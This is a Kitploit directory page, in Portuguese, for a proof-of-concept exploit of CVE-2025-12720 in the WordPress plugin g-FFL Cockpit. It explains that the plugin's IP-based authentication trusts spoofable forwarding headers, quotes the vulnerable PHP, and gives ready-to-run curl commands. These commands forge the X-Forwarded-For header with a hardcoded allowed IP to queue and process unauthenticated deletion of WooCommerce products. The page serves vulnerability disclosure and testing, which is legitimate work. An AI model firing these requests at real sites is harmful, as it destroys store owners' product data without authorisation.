Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-12720 — g-FFL Cockpit <= 1.7.1 - Autorização inadequada para exclusão de produto não autenticada | Kitploit
Ferramentas/GitHubGitHub/d0n601/cve-2025-12720
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de Segurança de APIsAutenticaçãoConfiguração Incorreta
GitHubd0n601/cve-2025-12720

CVE-2025-12720

g-FFL Cockpit <= 1.7.1 - Autorização inadequada para exclusão de produto não autenticada

Ver Repositório
6há 10 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

g-FFL Cockpit <= 1.7.1 - Exclusão Arbitrária de Produtos sem Autenticação

O plugin g-FFL Cockpit não implementa verificações de autorização adequadas nos endpoints queue e process da API REST, permitindo que usuários não autenticados excluam produtos WooCommerce arbitrários ao falsificar cabeçalhos HTTP para contornar a autenticação baseada em IP.

TL;DR Exploits

root@kitploit:~
TARGET_SITE="http://example.com"
curl -X POST $TARGET_SITE/wp-json/fflcockpit/v1/queue -H "X-Forwarded-For: 3.212.185.187" -H "Content-Type: application/json" -d '{"action":"delete","products":[{"id":105}]}' && curl -X POST $TARGET_SITE/wp-json/fflcockpit/v1/process -H "X-Forwarded-For: 3.212.185.187" -H "Content-Type: application/json"

Detalhes

Os endpoints e da API REST utilizam autenticação baseada em IP que pode ser contornada falsificando os cabeçalhos HTTP ou . O mecanismo de autenticação depende de , que confia em cabeçalhos controláveis pelo usuário, e verifica um endereço IP fixo (hardcoded) armazenado no código-fonte do plugin.

queue
process
X-Forwarded-For
CF-Connecting-IP
get_client_ip()

Localizado em class-sync-endpoint.php:

root@kitploit:~
34:        register_rest_route('fflcockpit/v1', '/queue', [
35:            'methods' => 'POST',
36:            'callback' => [__CLASS__, 'handle_enqueue_only'],
37:            'permission_callback' => fn() => self::fflcockpit_is_allowed(self::$fflckey),
38:        ]);

A função fflcockpit_is_allowed() usa um endereço IP fixo (base64: My4yMTIuMTg1LjE4Nw==, decodificado: 3.212.185.187) que está visível no código-fonte do plugin.

Trecho vulnerável de class-sync-endpoint.php:

root@kitploit:~
11:    private static function get_client_ip(): string {
12:        $ip = $_SERVER['REMOTE_ADDR'] ?? 'unknown';
13:        if (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) {
14:            // CloudFlare can also have multiple IPs, parse like X-Forwarded-For
15:            $cf_ips = explode(',', $_SERVER['HTTP_CF_CONNECTING_IP']);
16:            $ip = trim($cf_ips[0]);  // ⚠️ Trusts user-controlled header
17:        } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
18:            $forwarded_ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
19:            $ip = trim($forwarded_ips[0]);  // ⚠️ Trusts user-controlled header
20:        }
21:        return trim($ip);
22:    }

A função process_product() direciona as operações de exclusão para sql_delete_product(), que realiza a exclusão direta via SQL dos produtos WooCommerce.

Implementação vulnerável da exclusão em class-update-processor.php:

root@kitploit:~
634:            // Delete the product post
635:            $deleted = $wpdb->delete($wpdb->posts, ['ID' => $product_id], ['%d']);
636:
637:            if ($deleted === false) {
638:                $wpdb->query('ROLLBACK');
639:                throw new Exception('Failed to delete product from database.');
640:            }
641:
642:            $deleted_items[] = "product_post";
643:
644:            $wpdb->query('COMMIT');

Reprodução Manual

Nota: o g-FFL Cockpit requer o WooCommerce

  1. Navegue até o site WordPress alvo com o plugin g-FFL Cockpit instalado.

  2. Extraia o endereço IP fixo do código-fonte do plugin. O IP está codificado em base64 como My4yMTIuMTg1LjE4Nw== em class-sync-endpoint.php, que é decodificado para 3.212.185.187.

  3. Execute os seguintes comandos curl para enfileirar e processar a exclusão do produto:

root@kitploit:~
curl -X POST http://techcorp.cc/wp-json/fflcockpit/v1/queue \
  -H "X-Forwarded-For: 3.212.185.187" \
  -H "Content-Type: application/json" \
  -d '{"action": "delete", "products": [{"id": 105}]}'
  1. Processe a exclusão enfileirada para efetivamente executar a remoção do produto:
root@kitploit:~
curl -X POST http://techcorp.cc/wp-json/fflcockpit/v1/process \
  -H "X-Forwarded-For: 3.212.185.187" \
  -H "Content-Type: application/json"
  1. Você receberá a confirmação de que a exclusão foi concluída:
root@kitploit:~
{
  "status": "completed"
}

O produto é excluído permanentemente do banco de dados do WooCommerce, incluindo todos os metadados associados, relações de termos e imagens.

Baixar ferramenta